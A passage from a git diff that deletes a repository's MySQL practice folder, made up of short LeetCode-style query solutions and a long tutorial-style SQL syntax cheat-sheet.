+0,0 @@ -select id, -case when p_id is null then 'Root' - when id in (select p_id from tree) then 'Inner' - else 'Leaf' end as Type -from tree; \ No newline at end of file diff --git a/Add Code Here/MYSQL/DAY 5 UNION/1148. Article Views I.sql b/Add Code Here/MYSQL/DAY 5 UNION/1148. Article Views I.sql deleted file mode 100644 index bbf27a4b075..00000000000 --- a/Add Code Here/MYSQL/DAY 5 UNION/1148. Article Views I.sql +++ /dev/null @@ -1,3 +0,0 @@ -SELECT DISTINCT author_id AS id FROM Views -where author_id = viewer_id -ORDER BY id; \ No newline at end of file diff --git a/Add Code Here/MYSQL/DAY 5 UNION/1581. Customer Who Visited but Did Not Make Any Transactions.sql b/Add Code Here/MYSQL/DAY 5 UNION/1581. Customer Who Visited but Did Not Make Any Transactions.sql deleted file mode 100644 index 934803c45be..00000000000 --- a/Add Code Here/MYSQL/DAY 5 UNION/1581. Customer Who Visited but Did Not Make Any Transactions.sql +++ /dev/null @@ -1,5 +0,0 @@ -SELECT customer_id, COUNT(v.visit_id) AS count_no_trans -FROM Visits v -NATURAL LEFT JOIN Transactions t -WHERE t.visit_id IS NULL -GROUP BY customer_id; \ No newline at end of file diff --git a/Add Code Here/MYSQL/DAY 5 UNION/175. Combine Two Tables.sql b/Add Code Here/MYSQL/DAY 5 UNION/175. Combine Two Tables.sql deleted file mode 100644 index cfaad08d1b8..00000000000 --- a/Add Code Here/MYSQL/DAY 5 UNION/175. Combine Two Tables.sql +++ /dev/null @@ -1,2 +0,0 @@ -SELECT Person.FirstName, Person.LastName, Address.City, Address.State from Person -LEFT JOIN Address on Person.PersonId = Address.PersonId; \ No newline at end of file diff --git a/Add Code Here/MYSQL/DAY 6 UNION/197. Rising Temperature.sql b/Add Code Here/MYSQL/DAY 6 UNION/197. Rising Temperature.sql deleted file mode 100644 index b6f50762dfd..00000000000 --- a/Add Code Here/MYSQL/DAY 6 UNION/197. Rising Temperature.sql +++ /dev/null @@ -1,3 +0,0 @@ -SELECT w1.id -FROM Weather AS w1 , Weather AS w2 -WHERE w1.Temperature > w2.Temperature AND DATEDIFF(w1.recordDate , w2.recordDate) = 1; \ No newline at end of file diff --git a/Add Code Here/MYSQL/DAY 6 UNION/607. Sales Person.sql b/Add Code Here/MYSQL/DAY 6 UNION/607. Sales Person.sql deleted file mode 100644 index e33a3681034..00000000000 --- a/Add Code Here/MYSQL/DAY 6 UNION/607. Sales Person.sql +++ /dev/null @@ -1 +0,0 @@ -select name from SalesPerson where sales_id not in (select sales_id from Orders inner join Company on Company.com_id=Orders.com_id where Company.name='RED'); \ No newline at end of file diff --git a/Add Code Here/MYSQL/DAY 7 FUNCTION/1141. User Activity for the Past 30 Days I.sql b/Add Code Here/MYSQL/DAY 7 FUNCTION/1141. User Activity for the Past 30 Days I.sql deleted file mode 100644 index d00c31ff5f7..00000000000 --- a/Add Code Here/MYSQL/DAY 7 FUNCTION/1141. User Activity for the Past 30 Days I.sql +++ /dev/null @@ -1,4 +0,0 @@ -SELECT activity_date as day, COUNT(DISTINCT user_id) as active_users -FROM Activity -where datediff('2019-07-27', activity_date) < 30 and activity_date <= '2019-07-27' -GROUP BY activity_date; diff --git a/Add Code Here/MYSQL/DAY 7 FUNCTION/1693. Daily Leads and Partners.sql b/Add Code Here/MYSQL/DAY 7 FUNCTION/1693. Daily Leads and Partners.sql deleted file mode 100644 index 78cc993fd01..00000000000 --- a/Add Code Here/MYSQL/DAY 7 FUNCTION/1693. Daily Leads and Partners.sql +++ /dev/null @@ -1,4 +0,0 @@ -select date_id, make_name, count(distinct lead_id) as unique_leads, -count(distinct partner_id) as unique_partners -from DailySales -group by date_id, make_name; diff --git a/Add Code Here/MYSQL/DAY 7 FUNCTION/1729. Find Followers Count.sql b/Add Code Here/MYSQL/DAY 7 FUNCTION/1729. Find Followers Count.sql deleted file mode 100644 index 57af802fc9b..00000000000 --- a/Add Code Here/MYSQL/DAY 7 FUNCTION/1729. Find Followers Count.sql +++ /dev/null @@ -1,4 +0,0 @@ -select user_id, count(follower_id) as followers_count -from Followers -group by user_id -order by user_id; diff --git a/Add Code Here/MYSQL/DAY 8 FUNCTION/1741. Find Total Time Spent by Each Employee.sql b/Add Code Here/MYSQL/DAY 8 FUNCTION/1741. Find Total Time Spent by Each Employee.sql deleted file mode 100644 index 8f8962f22a1..00000000000 --- a/Add Code Here/MYSQL/DAY 8 FUNCTION/1741. Find Total Time Spent by Each Employee.sql +++ /dev/null @@ -1,3 +0,0 @@ -select event_day as day, emp_id, sum(out_time-in_time) as total_time -from Employees -group by 1,2; diff --git a/Add Code Here/MYSQL/DAY 8 FUNCTION/1890. The Latest Login in 2020.sql b/Add Code Here/MYSQL/DAY 8 FUNCTION/1890. The Latest Login in 2020.sql deleted file mode 100644 index c469802e674..00000000000 --- a/Add Code Here/MYSQL/DAY 8 FUNCTION/1890. The Latest Login in 2020.sql +++ /dev/null @@ -1,3 +0,0 @@ -select user_id, max(time_stamp) as last_stamp from Logins -where year(time_stamp)=2020 -group by user_id; diff --git a/Add Code Here/MYSQL/DAY 8 FUNCTION/511. Game Play Analysis I.sql b/Add Code Here/MYSQL/DAY 8 FUNCTION/511. Game Play Analysis I.sql deleted file mode 100644 index 64e1e802239..00000000000 --- a/Add Code Here/MYSQL/DAY 8 FUNCTION/511. Game Play Analysis I.sql +++ /dev/null @@ -1,3 +0,0 @@ -select player_id, min(event_date) as first_login -from activity -group by player_id; diff --git a/Add Code Here/MYSQL/DAY 8 FUNCTION/586. Customer Placing the Largest Number of Orders.sql b/Add Code Here/MYSQL/DAY 8 FUNCTION/586. Customer Placing the Largest Number of Orders.sql deleted file mode 100644 index a5a2be1abc8..00000000000 --- a/Add Code Here/MYSQL/DAY 8 FUNCTION/586. Customer Placing the Largest Number of Orders.sql +++ /dev/null @@ -1,4 +0,0 @@ - -select customer_number from Orders -group by customer_number -order by count(customer_number) desc limit 1; diff --git a/Add Code Here/MYSQL/DAY 9 CONTROL OF FLOW/1158. Market Analysis I.sql b/Add Code Here/MYSQL/DAY 9 CONTROL OF FLOW/1158. Market Analysis I.sql deleted file mode 100644 index 21899113999..00000000000 --- a/Add Code Here/MYSQL/DAY 9 CONTROL OF FLOW/1158. Market Analysis I.sql +++ /dev/null @@ -1,8 +0,0 @@ -SELECT u.user_id AS buyer_id, join_date, -IFNULL(COUNT(order_date), 0) AS orders_in_2019 -FROM Users u -LEFT JOIN -Orders o -ON u.user_id = o.buyer_id -AND YEAR(o.order_date) = '2019' -GROUP BY u.user_id; diff --git a/Add Code Here/MYSQL/DAY 9 CONTROL OF FLOW/1393. Capital Gain OR Loss.sql b/Add Code Here/MYSQL/DAY 9 CONTROL OF FLOW/1393. Capital Gain OR Loss.sql deleted file mode 100644 index 133cd733ab7..00000000000 --- a/Add Code Here/MYSQL/DAY 9 CONTROL OF FLOW/1393. Capital Gain OR Loss.sql +++ /dev/null @@ -1,9 +0,0 @@ -SELECT stock_name, SUM( - CASE - WHEN operation = 'Buy' THEN -price - ELSE price - END -) AS capital_gain_loss -FROM Stocks -GROUP BY stock_name; - diff --git a/Add Code Here/MYSQL/DAY 9 CONTROL OF FLOW/1407. Top Travellers.sql b/Add Code Here/MYSQL/DAY 9 CONTROL OF FLOW/1407. Top Travellers.sql deleted file mode 100644 index 6ef901a3bf5..00000000000 --- a/Add Code Here/MYSQL/DAY 9 CONTROL OF FLOW/1407. Top Travellers.sql +++ /dev/null @@ -1,5 +0,0 @@ -select u.name, ifnull(sum(r.distance),0) as travelled_distance from Users u -left join -Rides r on u.id=r.user_id -group by u.id -order by travelled_distance desc, name asc; diff --git a/Add Code Here/MYSQL/Day 3 STRING PROCESSING FUNCTIONS/1484. Group Sold Products By The Date.sql b/Add Code Here/MYSQL/Day 3 STRING PROCESSING FUNCTIONS/1484. Group Sold Products By The Date.sql deleted file mode 100644 index c883245f79d..00000000000 --- a/Add Code Here/MYSQL/Day 3 STRING PROCESSING FUNCTIONS/1484. Group Sold Products By The Date.sql +++ /dev/null @@ -1,6 +0,0 @@ -SELECT sell_date, -COUNT(DISTINCT(product)) AS num_sold, -GROUP_CONCAT(DISTINCT product ORDER BY product ASC SEPARATOR ',') AS products -FROM Activities -GROUP BY sell_date -ORDER BY sell_date ASC; \ No newline at end of file diff --git a/Add Code Here/MYSQL/Day 3 STRING PROCESSING FUNCTIONS/1527. Patients With a Condition.sql b/Add Code Here/MYSQL/Day 3 STRING PROCESSING FUNCTIONS/1527. Patients With a Condition.sql deleted file mode 100644 index 276c01bfb12..00000000000 --- a/Add Code Here/MYSQL/Day 3 STRING PROCESSING FUNCTIONS/1527. Patients With a Condition.sql +++ /dev/null @@ -1,2 +0,0 @@ -select *from Patients -where conditions like '% DIAB1%' or conditions like 'DIAB1%'; \ No newline at end of file diff --git a/Add Code Here/MYSQL/Day 3 STRING PROCESSING FUNCTIONS/1667. Fix Names in a Table.sql b/Add Code Here/MYSQL/Day 3 STRING PROCESSING FUNCTIONS/1667. Fix Names in a Table.sql deleted file mode 100644 index 93ba4986d92..00000000000 --- a/Add Code Here/MYSQL/Day 3 STRING PROCESSING FUNCTIONS/1667. Fix Names in a Table.sql +++ /dev/null @@ -1,4 +0,0 @@ -SELECT user_id , CONCAT(UPPER(SUBSTR(name,1,1)),LOWER(SUBSTR(name,2))) AS name -FROM Users -ORDER BY -user_id ASC; diff --git a/Add Code Here/MYSQL/all sql commands.SQL b/Add Code Here/MYSQL/all sql commands.SQL deleted file mode 100644 index bb6586d4994..00000000000 --- a/Add Code Here/MYSQL/all sql commands.SQL +++ /dev/null @@ -1,743 +0,0 @@ --- SQL SELECT Statement - SELECT column1, column2, ... - FROM table_name; - - SELECT * FROM table_name; - SELECT CustomerName, City FROM Customers; - --- SQL SELECT DISTINCT Statement - SELECT DISTINCT column1, column2, ... - FROM table_name; - - SELECT DISTINCT Country FROM Customers; - - SELECT COUNT(DISTINCT Country) FROM Customers; - --- SQL WHERE Clause - SELECT column1, column2, ... - FROM table_name - WHERE condition; - -- (==, > , < , >= , <= , <> , BETWEEN , LIKE , IN) - - SELECT * FROM Customers - WHERE Country='Mexico'; - - WHERE CustomerID=1; - - WHERE Price BETWEEN 50 AND 60; - - WHERE Contry LIKE 's%' - - WHERE City IN ('Paris','London'); - --- The SQL AND, OR and NOT Operators - SELECT column1, column2, ... - FROM table_name - WHERE condition1 AND condition2 AND condition3 ...; - WHERE condition1 OR condition2 OR condition3 ...; - WHERE NOT condition; - - SELECT * FROM Customers - WHERE Country='Germany' AND City='Berlin'; - - WHERE City='Berlin' OR City='München'; - - WHERE Country='Germany' OR Country='Spain'; - - WHERE NOT Country='Germany'; - - WHERE Country='Germany' AND (City='Berlin' OR City='München'); - - WHERE NOT Country='Germany' AND NOT Country='USA'; - --- SQL ORDER BY Keyword - SELECT * FROM Customers - ORDER BY Country; - - ORDER BY Country DESC; - - ORDER BY Country, CustomerName; - - ORDER BY Country ASC, CustomerName DESC; - --- SQL INSERT INTO Statement - INSERT INTO table_name (column1, column2, column3, ...) - VALUES (value1, value2, value3, ...); - - INSERT INTO table_name - VALUES (value1, value2, value3, ...); - - INSERT INTO Customers (CustomerName, ContactName, Address, City, PostalCode, Country) - VALUES ('Cardinal', 'Tom B. Erichsen', 'Skagen 21', 'Stavanger', '4006', 'Norway'); - - INSERT INTO Customers (CustomerName, City, Country) - VALUES ('Cardinal', 'Stavanger', 'Norway'); - --- SQL NULL Values - SELECT column_names - FROM table_name - WHERE column_name IS NULL; - - WHERE column_name IS NOT NULL; - - SELECT CustomerName, ContactName, Address - FROM Customers - WHERE Address IS NULL; - - WHERE Address IS NOT NULL; - --- SQL UPDATE Statement - UPDATE table_name - SET column1 = value1, column2 = value2, ... - WHERE condition; - - UPDATE Customers - SET ContactName = 'Alfred Schmidt', City= 'Frankfurt' - WHERE CustomerID = 1; - - SET ContactName='Juan' - WHERE Country='Mexico'; - - -- Be careful when updating records. If you omit the WHERE clause, ALL records will be updated! - UPDATE Customers - SET ContactName='Juan'; - --- SQL DELETE Statement - DELETE FROM table_name WHERE condition; - - DELETE FROM Customers WHERE CustomerName='Alfreds Futterkiste'; - -- The following SQL statement deletes all rows in the "Customers" table, without deleting the table: - DELETE FROM table_name; - --- SQL TOP, LIMIT, FETCH FIRST or ROWNUM Clause - SELECT TOP number|percent column_name(s) - FROM table_name - WHERE condition; - - SELECT column_name(s) - FROM table_name - WHERE condition - LIMIT number; - - SELECT column_name(s) - FROM table_name - ORDER BY column_name(s) - FETCH FIRST number ROWS ONLY; - - SELECT column_name(s) - FROM table_name - WHERE ROWNUM <= number; - - SELECT TOP 3 * FROM Customers; - - SELECT * FROM Customers - LIMIT 3; - - SELECT * FROM Customers - FETCH FIRST 3 ROWS ONLY; - - SELECT TOP 50 PERCENT * FROM Customers; - - SELECT * FROM Customers - FETCH FIRST 50 PERCENT ROWS ONLY; - - SELECT TOP 3 * FROM Customers - WHERE Country='Germany'; - - SELECT * FROM Customers - WHERE Country='Germany' - LIMIT 3; - - SELECT * FROM Customers - WHERE Country='Germany' - FETCH FIRST 3 ROWS ONLY; - --- SQL MIN() and MAX() Functions - SELECT MIN(column_name) | SELECT MAX(column_name) - FROM table_name | FROM table_name - WHERE condition; | WHERE condition; - - SELECT MIN(Price) AS SmallestPrice | SELECT MAX(Price) AS LargestPrice - FROM Products; | FROM Products; - --- SQL COUNT(), AVG() and SUM() Functions - SELECT COUNT(column_name) | SELECT AVG(column_name) | SELECT SUM(column_name) - FROM table_name | FROM table_name | FROM table_name - WHERE condition; | WHERE condition; | WHERE condition; - - SELECT COUNT(ProductID) | SELECT AVG(Price) | SELECT SUM(Quantity) - FROM Products; | FROM Products; | FROM OrderDetails; - --- The SQL LIKE Operator - SELECT column1, column2, ... - FROM table_name - WHERE columnN LIKE pattern; - - LIKE | Operator | Description - WHERE | CustomerName LIKE 'a%' | Finds any values that start with "a" - WHERE | CustomerName LIKE '%a' | Finds any values that end with "a" - WHERE | CustomerName LIKE '%or%' | Finds any values that have "or" in any position - WHERE | CustomerName LIKE '_r%' | Finds any values that have "r" in the second position - WHERE | CustomerName LIKE 'a_%' | Finds any values that start with "a" and are at least 2 characters in length - WHERE | CustomerName LIKE 'a__%' | Finds any values that start with "a" and are at least 3 characters in length - WHERE | ContactName LIKE 'a%o' | Finds any values that start with "a" and ends with "o" - - SELECT * FROM Customers - WHERE CustomerName LIKE 'a%'; - - WHERE CustomerName LIKE '%a'; - - WHERE CustomerName LIKE '%or%'; - - WHERE CustomerName LIKE '_r%'; - - WHERE CustomerName LIKE 'a__%'; - - WHERE ContactName LIKE 'a%o'; - - WHERE CustomerName NOT LIKE 'a%'; - --- SQL Wildcards - Symbol | Description | Example - * , % | Represents zero or more characters | bl*,bl% finds bl, black, blue, and blob - ? , _ | Represents a single character | h?t,h_t finds hot, hat, and hit - [] | Represents any single character within the brackets | h[oa]t finds hot and hat, but not hit - ! , ^ | Represents any character not in the brackets | h[!oa]t(h[^oa]t) finds hit, but not hot and hat - - | Represents any single character within the specified range | c[a-b]t finds cat and cbt - # | Represents any single numeric character | 2#5 finds 205, 215, 225, 235, 245, 255, 265, 275, 285, and 295 - - SELECT * FROM Customers - WHERE City LIKE 'ber%'; - - WHERE City LIKE '%es%'; - - WHERE City LIKE '_ondon'; - - WHERE City LIKE 'L_n_on'; - - WHERE City LIKE '[bsp]%'; - - WHERE City LIKE '[a-c]%'; - - WHERE City LIKE '[!bsp]%'; - - WHERE City NOT LIKE '[bsp]%'; - --- SQL IN Operator - SELECT column_name(s) | SELECT column_name(s) - FROM table_name | FROM table_name - WHERE column_name IN (value1, value2, ...); | WHERE column_name IN (SELECT STATEMENT); - - SELECT * FROM Customers - WHERE Country IN ('Germany', 'France', 'UK'); - WHERE Country NOT IN ('Germany', 'France', 'UK'); - WHERE Country IN (SELECT Country FROM Suppliers); - --- SQL BETWEEN Operator - SELECT column_name(s) - FROM table_name - WHERE column_name BETWEEN value1 AND value2; - - SELECT * FROM Products | SELECT * FROM Products - WHERE Price BETWEEN 10 AND 20; | WHERE Price NOT BETWEEN 10 AND 20; - - SELECT * FROM Products - WHERE Price BETWEEN 10 AND 20 - AND CategoryID NOT IN (1,2,3); - - SELECT * FROM Products - WHERE ProductName BETWEEN 'Carnarvon Tigers' AND 'Mozzarella di Giovanni' - ORDER BY ProductName; - - SELECT * FROM Products - WHERE ProductName BETWEEN "Carnarvon Tigers" AND "Chef Anton's Cajun Seasoning" - ORDER BY ProductName; - - SELECT * FROM Products - WHERE ProductName NOT BETWEEN 'Carnarvon Tigers' AND 'Mozzarella di Giovanni' - ORDER BY ProductName; - - SELECT * FROM Orders - WHERE OrderDate BETWEEN #07/01/1996# AND #07/31/1996#; - - SELECT * FROM Orders - WHERE OrderDate BETWEEN '1996-07-01' AND '1996-07-31'; - --- SQL Aliases - SELECT column_name AS alias_name | SELECT column_name(s) - FROM table_name; | FROM table_name AS alias_name; - - SELECT CustomerID AS ID, CustomerName AS Customer - FROM Customers; - - -- It requires double quotation marks or square brackets if the alias name contains spaces: - SELECT CustomerName AS Customer, ContactName AS [Contact Person] - FROM Customers; - -- The following SQL statement creates an alias named "Address" that combine four columns (Address, PostalCode, City and Country): - SELECT CustomerName, Address + ', ' + PostalCode + ' ' + City + ', ' + Country AS Address - FROM Customers; - - SELECT CustomerName, CONCAT(Address,', ',PostalCode,', ',City,', ',Country) AS Address - FROM Customers; - - SELECT o.OrderID, o.OrderDate, c.CustomerName - FROM Customers AS c, Orders AS o - WHERE c.CustomerName='Around the Horn' AND c.CustomerID=o.CustomerID; - - SELECT Orders.OrderID, Orders.OrderDate, Customers.CustomerName - FROM Customers, Orders - WHERE Customers.CustomerName='Around the Horn' AND Customers.CustomerID=Orders.CustomerID; - --- SQL Joins - SELECT Orders.OrderID, Customers.CustomerName, Orders.OrderDate - FROM Orders - INNER JOIN Customers ON Orders.CustomerID=Customers.CustomerID; - - (INNER) JOIN: Returns records that have matching values in both tables - LEFT (OUTER) JOIN: Returns all records from the left table, and the matched records from the right table - RIGHT (OUTER) JOIN: Returns all records from the right table, and the matched records from the left table - FULL (OUTER) JOIN: Returns all records when there is a match in either left or right table - - SELECT Orders.OrderID, Customers.CustomerName - FROM Orders - INNER JOIN Customers ON Orders.CustomerID = Customers.CustomerID; - - --inner join - SELECT Orders.OrderID, Customers.CustomerName, Shippers.ShipperName - FROM ((Orders - INNER JOIN Customers ON Orders.CustomerID = Customers.CustomerID) - INNER JOIN Shippers ON Orders.ShipperID = Shippers.ShipperID); - - --left join - SELECT Customers.CustomerName, Orders.OrderID - FROM Customers - LEFT JOIN Orders ON Customers.CustomerID = Orders.CustomerID - ORDER BY Customers.CustomerName; - - --right join - SELECT Orders.OrderID, Employees.LastName, Employees.FirstName - FROM Orders - RIGHT JOIN Employees ON Orders.EmployeeID = Employees.EmployeeID - ORDER BY Orders.OrderID; - - --outer join - SELECT Customers.CustomerName, Orders.OrderID - FROM Customers - FULL OUTER JOIN Orders ON Customers.CustomerID=Orders.CustomerID - ORDER BY Customers.CustomerName; - - --self join - SELECT A.CustomerName AS CustomerName1, B.CustomerName AS CustomerName2, A.City - FROM Customers A, Customers B - WHERE A.CustomerID <> B.CustomerID - AND A.City = B.City - ORDER BY A.City; - --- SQL UNION Operator - SELECT column_name(s) FROM table1 | SELECT column_name(s) FROM table1 - UNION | UNION ALL - SELECT column_name(s) FROM table2; | SELECT column_name(s) FROM table2; - - SELECT City FROM Customers | SELECT City FROM Customers - UNION | UNION ALL - SELECT City FROM Suppliers | SELECT City FROM Suppliers - ORDER BY City; | ORDER BY City; - - SELECT City, Country FROM Customers | SELECT City, Country FROM Customers - WHERE Country='Germany' | WHERE Country='Germany' - UNION | UNION ALL - SELECT City, Country FROM Suppliers | SELECT City, Country FROM Suppliers - WHERE Country='Germany' | WHERE Country='Germany' - ORDER BY City; | ORDER BY City; - --- SQL GROUP BY Statement - SELECT column_name(s) - FROM table_name - WHERE condition - GROUP BY column_name(s) - ORDER BY column_name(s); - - SELECT COUNT(CustomerID), Country - FROM Customers - GROUP BY Country; - - ORDER BY COUNT(CustomerID) DESC; - - SELECT Shippers.ShipperName, COUNT(Orders.OrderID) AS NumberOfOrders FROM Orders - LEFT JOIN Shippers ON Orders.ShipperID = Shippers.ShipperID - GROUP BY ShipperName; - --- SQL HAVING Clause - SELECT column_name(s) - FROM table_name - WHERE condition - GROUP BY column_name(s) - HAVING condition - ORDER BY column_name(s); - - SELECT COUNT(CustomerID), Country - FROM Customers - GROUP BY Country - HAVING COUNT(CustomerID) > 5; - - ORDER BY COUNT(CustomerID) DESC; - - SELECT Employees.LastName, COUNT(Orders.OrderID) AS NumberOfOrders - FROM (Orders - INNER JOIN Employees ON Orders.EmployeeID = Employees.EmployeeID) - GROUP BY LastName - HAVING COUNT(Orders.OrderID) > 10; - --- SQL EXISTS Operator - SELECT column_name(s) - FROM table_name - WHERE EXISTS - (SELECT column_name FROM table_name WHERE condition); - - SELECT SupplierName - FROM Suppliers - WHERE EXISTS (SELECT ProductName FROM Products WHERE Products.SupplierID = Suppliers.supplierID AND Price < 20); - - SELECT SupplierName - FROM Suppliers - WHERE EXISTS (SELECT ProductName FROM Products WHERE Products.SupplierID = Suppliers.supplierID AND Price = 22); - --- SQL ANY and ALL Operators - - SELECT column_name(s) | SELECT column_name(s) - FROM table_name | FROM table_name - WHERE column_name operator ANY | WHERE column_name operator ALL - (SELECT column_name | (SELECT column_name - FROM table_name | FROM table_name - WHERE condition); | WHERE condition); - - - SELECT ProductName | SELECT ProductName | SELECT ProductName - FROM Products | FROM Products | FROM Products - WHERE ProductID = ANY | WHERE ProductID = ANY | WHERE ProductID = ANY - (SELECT ProductID | (SELECT ProductID | (SELECT ProductID - FROM OrderDetails | FROM OrderDetails | FROM OrderDetails - WHERE Quantity = 10); | WHERE Quantity > 99); | WHERE Quantity > 1000); - - SELECT ALL ProductName | SELECT ProductName - FROM Products | FROM Products - WHERE TRUE; | WHERE ProductID = ALL - | (SELECT ProductID - | FROM OrderDetails - | WHERE Quantity = 10); - | - --- SQL SELECT INTO Statement - SELECT * - INTO newtable [IN externaldb] - FROM oldtable - WHERE condition; - - SELECT column1, column2, column3, ... - INTO newtable [IN externaldb] - FROM oldtable - WHERE condition; - - SELECT * INTO CustomersBackup2017 - FROM Customers; - - SELECT * INTO CustomersBackup2017 IN 'Backup.mdb' - FROM Customers; - - SELECT CustomerName, ContactName INTO CustomersBackup2017 - FROM Customers; - - SELECT * INTO CustomersGermany - FROM Customers - WHERE Country = 'Germany'; - - SELECT Customers.CustomerName, Orders.OrderID - INTO CustomersOrderBackup2017 - FROM Customers - LEFT JOIN Orders ON Customers.CustomerID = Orders.CustomerID; - - SELECT * INTO newtable - FROM oldtable - WHERE 1 = 0; - --- SQL INSERT INTO SELECT Statement - INSERT INTO table2 - SELECT * FROM table1 - WHERE condition; - - INSERT INTO table2 (column1, column2, column3, ...) - SELECT column1, column2, column3, ... - FROM table1 - WHERE condition; - - INSERT INTO Customers (CustomerName, City, Country) - SELECT SupplierName, City, Country FROM Suppliers; - - INSERT INTO Customers (CustomerName, ContactName, Address, City, PostalCode, Country) - SELECT SupplierName, ContactName, Address, City, PostalCode, Country FROM Suppliers; - - INSERT INTO Customers (CustomerName, City, Country) - SELECT SupplierName, City, Country FROM Suppliers - WHERE Country='Germany'; - --- SQL CASE Expression - CASE - WHEN condition1 THEN result1 - WHEN condition2 THEN result2 - WHEN conditionN THEN resultN - ELSE result - END; - - SELECT OrderID, Quantity, - CASE - WHEN Quantity > 30 THEN 'The quantity is greater than 30' - WHEN Quantity = 30 THEN 'The quantity is 30' - ELSE 'The quantity is under 30' - END AS QuantityText - FROM OrderDetails; - - SELECT CustomerName, City, Country - FROM Customers - ORDER BY - (CASE - WHEN City IS NULL THEN Country - ELSE City - END); - --- SQL IFNULL(), ISNULL(), COALESCE(), and NVL() - SELECT ProductName, UnitPrice * (UnitsInStock + UnitsOnOrder) - FROM Products; - - -- MySQL - SELECT ProductName, UnitPrice * (UnitsInStock + IFNULL(UnitsOnOrder, 0)) - FROM Products; - - SELECT ProductName, UnitPrice * (UnitsInStock + COALESCE(UnitsOnOrder, 0)) - FROM Products; - - -- SQL Server - SELECT ProductName, UnitPrice * (UnitsInStock + IIF(IsNull(UnitsOnOrder), 0, UnitsOnOrder)) - FROM Products; - - SELECT ProductName, UnitPrice * (UnitsInStock + COALESCE(UnitsOnOrder, 0)) - FROM Products; - - -- MS Access - SELECT ProductName, UnitPrice * (UnitsInStock + IIF(IsNull(UnitsOnOrder), 0, UnitsOnOrder)) - FROM Products; - - -- Oracle - SELECT ProductName, UnitPrice * (UnitsInStock + NVL(UnitsOnOrder, 0)) - FROM Products; - - SELECT ProductName, UnitPrice * (UnitsInStock + COALESCE(UnitsOnOrder, 0)) - FROM Products; - --- SQL Stored Procedures for SQL Server - CREATE PROCEDURE procedure_name | CREATE PROCEDURE SelectAllCustomers @City nvarchar(30) - AS | AS - sql_statement | SELECT * FROM Customers WHERE City = @City - GO; | GO; - - EXEC procedure_name; | EXEC SelectAllCustomers @City = 'London'; - - - CREATE PROCEDURE SelectAllCustomers @City nvarchar(30), @PostalCode nvarchar(10) - AS - SELECT * FROM Customers WHERE City = @City AND PostalCode = @PostalCode - GO; - - EXEC SelectAllCustomers @City = 'London', @PostalCode = 'WA1 1DP'; - --- SQL Comments - SINGLE LINE COMMENT(--) - MULTI LINE COMMENT (/* ... */) - --- SQL Operators - -- Arithmetic Operators - Operator | Description - + | Add - - | Subtract - * | Multiply - / | Divide - % | Modulo - -- Bitwise Operators - Operator | Description - & | Bitwise AND - | | Bitwise OR - ^ | Bitwise exclusive OR - - -- Logical Operators - Operator | Description - ALL | TRUE if all of the subquery values meet the condition - AND | TRUE if all the conditions separated by AND is TRUE - ANY | TRUE if any of the subquery values meet the condition - BETWEEN | TRUE if the operand is within the range of comparisons - EXISTS | TRUE if the subquery returns one or more records - IN | TRUE if the operand is equal to one of a list of expressions - LIKE | TRUE if the operand matches a pattern - NOT | Displays a record if the condition(s) is NOT TRUE - OR | TRUE if any of the conditions separated by OR is TRUE - SOME | TRUE if any of the subquery values meet the condition - - -___________________________________________________________________________________________________________ - - --- SQL CREATE DATABASE Statement - CREATE DATABASE databasename; - - CREATE DATABASE testDB; - SHOW DATABASES; - --- SQL DROP DATABASE Statement - DROP DATABASE databasename; - DROP DATABASE testDB; - --- SQL BACKUP DATABASE for SQL Server - BACKUP DATABASE databasename - TO DISK = 'filepath'; - - BACKUP DATABASE databasename | BACKUP DATABASE testDB - TO DISK = 'filepath' | TO DISK = 'D:\backups\testDB.bak'; - WITH DIFFERENTIAL; - --- SQL CREATE TABLE Statement - CREATE TABLE table_name ( - column1 datatype, - column2 datatype, - column3 datatype, - .... - ); - - CREATE TABLE Persons ( | CREATE TABLE TestTable AS - PersonID int, | SELECT customername, contactname - LastName varchar(255), | FROM customers; - FirstName varchar(255), | - Address varchar(255), | - City varchar(255) | - ); - --- SQL DROP TABLE Statement - DROP TABLE table_name; - -- Be careful before dropping a table. Deleting a table will result in loss of complete information stored in the table! - DROP TABLE Shippers; - -- The TRUNCATE TABLE statement is used to delete the data inside a table, but not the table itself. - TRUNCATE TABLE table_name; - --- SQL ALTER TABLE Statement - ALTER TABLE table_name | ALTER TABLE table_name - ADD column_name datatype; | DROP COLUMN column_name; - | - ALTER TABLE Customers | ALTER TABLE Customers - ADD Email varchar(255); | DROP COLUMN Email; - - ALTER TABLE Persons - ALTER COLUMN DateOfBirth year; - --- SQL Constraints - NOT NULL - Ensures that a column cannot have a NULL value - UNIQUE - Ensures that all values in a column are different - PRIMARY KEY - A combination of a NOT NULL and UNIQUE. Uniquely identifies each row in a table - FOREIGN KEY - Prevents actions that would destroy links between tables - CHECK - Ensures that the values in a column satisfies a specific condition - DEFAULT - Sets a default value for a column if no value is specified - CREATE INDEX - Used to create and retrieve data from the database very quickly - - -- NOT NULL - CREATE TABLE Persons ( - ID int NOT NULL, - LastName varchar(255) NOT NULL, - FirstName varchar(255) NOT NULL, - Age int - ); - - -- UNIQUE - CREATE TABLE Persons ( - ID int NOT NULL UNIQUE, - LastName varchar(255) NOT NULL, - FirstName varchar(255), - Age int - ); - - -- PRIMARY KEY - CREATE TABLE Persons ( - ID int NOT NULL, - LastName varchar(255) NOT NULL, - FirstName varchar(255), - Age int, - PRIMARY KEY (ID) - ); - - -- FOREIGN KEY - CREATE TABLE Orders ( - OrderID int NOT NULL, - OrderNumber int NOT NULL, - PersonID int, - PRIMARY KEY (OrderID), - FOREIGN KEY (PersonID) REFERENCES Persons(PersonID) - ); - - -- CHECK - CREATE TABLE Persons ( - ID int NOT NULL, - LastName varchar(255) NOT NULL, - FirstName varchar(255), - Age int, - CHECK (Age>=18) - ); - - -- DEFAULT - CREATE TABLE Persons ( - ID int NOT NULL, - LastName varchar(255) NOT NULL, - FirstName varchar(255), - Age int, - City varchar(255) DEFAULT 'Sandnes' - ); - - -- CREATE INDEX - CREATE INDEX index_name - ON table_name (column1, column2, ...); - - CREATE INDEX idx_pname - ON Persons (LastName, FirstName); - --- SQL AUTO INCREMENT Field - CREATE TABLE Persons ( | CREATE TABLE Persons ( - Personid int NOT NULL AUTO_INCREMENT, | Personid int NOT NULL AUTO_INCREMENT = 100, - LastName varchar(255) NOT NULL, | LastName varchar(255) NOT NULL, - FirstName varchar(255), | FirstName varchar(255), - Age int, | Age int, - PRIMARY KEY (Personid) | PRIMARY KEY (Personid) - ); | ); - --- SQL Working With Dates - DATE - format: YYYY-MM-DD - DATETIME - format: YYYY-MM-DD HH:MI:SS - TIMESTAMP - format: YYYY-MM-DD HH:MI:SS - YEAR - format: YYYY or YY - - SELECT * FROM Orders WHERE 